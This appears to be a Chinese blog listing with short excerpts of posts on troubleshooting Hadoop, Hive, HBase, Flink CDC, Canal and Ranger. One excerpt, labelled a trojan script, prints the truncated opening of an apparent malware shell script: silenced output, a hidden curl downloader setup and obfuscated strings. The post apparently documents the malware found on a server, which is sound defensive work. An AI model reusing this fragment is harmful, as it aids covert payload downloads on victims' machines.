weixin_52918377的博客

canal高可用集群我们搭建好了，集群相对来说比较稳定。在实际使用中发生过数据峰值较大、网络带宽不足等原因导致的数据同步延时较大，影响了业务开展。那么咱们有没有办法监控一下cananl的同步进度？附带实现思路，实现步骤和相关脚本

手把手教你生产环境搭建Canal1.1.5高可用集群

手把手教你快速在生产环境搭建Doris集群

datart中是没有hive驱动包的，需要我们自己根据hive版本，放入合适驱动包和相关的其他jar包。

异常信息：Error executing: CREATE FUNCTION `getXportalUIdByLoginId`(input_val VARCHAR(100)) RETURNS int(11) BEGIN DECLARE myid INT; SELECT x_portal_user.id into myid FROM x_portal_user WHERE x_portal_user.login_id = input_val; RETURN myid; END java.sql.SQLEx

FlinkCDC的2.2.0版本怎么监控库中的所有表，增加新表到已有任务？一、监控全表​ 千呼万唤始出来，之前预告FlinkCDC的2.2.0支持Flink1.14和添加新表,满怀希望！今天一看略显失望，添加新表，不支持动态添加，需要修改tableList之后，从ck中重启，倒是不用重新写新代码了，但是不满足我们目前的需求，失望之一。二是，api改得有点随意了。2.0版本监控全表，tableList不设置就行了 DebeziumSourceFunction<String>

问题：Exception in thread “Thread-6” java.lang.IllegalStateException: Trying to access closed classloader. Please check if you store classloaders directly or indirectly in static fields. If the stacktrace suggests that the leak occurs in a third party librar

# Licensed to the Apache Software Foundation (ASF) under one# or more contributor license agreements. See the NOTICE file# distributed with this work for additional information# regarding copyright ownership. The ASF licenses this file# to you under

木马脚本O1W2iZnBuRhYbZy5EhkdHYabZ2gaLFkjexec &>/dev/nullexport PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbind=$(grep x:$(id -u): /etc/passwd|cut -d: -f6) c=$(echo "curl -4fsSLkA- -m200")t=$(echo "fjuoqusekcob5av5rw

hadoop定位hdfs文件块异常和修复org.apache.hadoop.hdfs.CannotObtainBlockLengthException: Cannot obtain block length for LocatedBlock一、问题重启hadoop集群之后,执行任务时发生异常异常信息 Error: java.io.IOException: org.apache.hadoop.hdfs.CannotObtainBlockLengthException: Cannot obtain bl

分区修复失败的问题 FAILED: Execution Error, return code 1 from org.apache.hadoop.hive.ql.exec.DDLTask一、问题在把CDH集群上的数据迁移到apache集群上时，遇到错误，记录一下。1.脚本执行的时候报错INFO : Compiling command(queryId=hadoop_20211123141935_050bb456-601d-4f8d-bb3c-0b274461b4f8): msck repair tab

解决 Error: java.io.EOFException: Premature EOF from inputStream 问题一、问题1.问题过程在日志解析任务过程中，突发报错，任务一直都很稳定，怎么回突然报错了呢？心头一紧2.详细错误类型：查看日志发现如下错误21/11/18 14:36:29 INFO mapreduce.Job: Task Id : attempt_1628497295151_1290365_m_000002_2, Status : FAILEDError: java

由于业务端日志采集格式不规范，经常会产生各种异常导致flume停止工作，如果对这些参数格式一一进行校验，影响采集速度，日志数据有一定的容错性。编一个一个脚本，不断监控flume运行状况，遇到异常，自动重启flume。#!/bin/bash export FLUME_HOME=/opt/flumewhile truedopc=`ps -ef | grep kafka-flume-hdfs.conf | grep -v "grep" | wc -l` if [[ $pc -lt 1 ]]the

linux下查看lzo格式压缩文件的内容1.安装lzop使用yum安装命令：yum install lzop[root@cm bin]# yum install lzopLoaded plugins: fastestmirror, securitySetting up Install ProcessDetermining fastest mirrorsepel/metalink

解决Ranger无法连接双主Mysql的问题一、问题描述报错信息ERROR 1418 (HY000): This function has none of DETERMINISTIC, NO SQL, or READS SQL DATA in its declaration and binary logging is enabled (you *might* want to use the less safe log_bin_trust_function_creators variable)问题分

修改hbase日志路径为了方便大数据集群日志管理，需要修改hbase日志路径1.错误示范找到配置文件：log4j.properties修改HBase日志路径vim log4j.properties 修改为hbase.log.dir=/var/log/hbase重启HBase集群什么？？？！！没有生效2.正确修改查阅官方配置发现需要修改hbase-env.shvim hbase-env.sh相关内容修改为export HBASE_LOG_DIR=/var/log/hbase

高可用HIve配置多客户端hive高可用搭建完毕了，但是如果想在其他节点连接hive怎么办呢？这个时候我们就需要在其他节点安装hive的客户端高可用hive的搭建参考我的另一篇文章hive高可用搭建1.复制安装文件将hdp14的安装文件复制到要连接hive的节点hdp16[along@hdp14 bigdata]$ scp -r hive along@hdp16:/opt/bigdata/2.修改核心配置连接hdp16，添加配置文件[along@hdp16 hive]$ pwd/op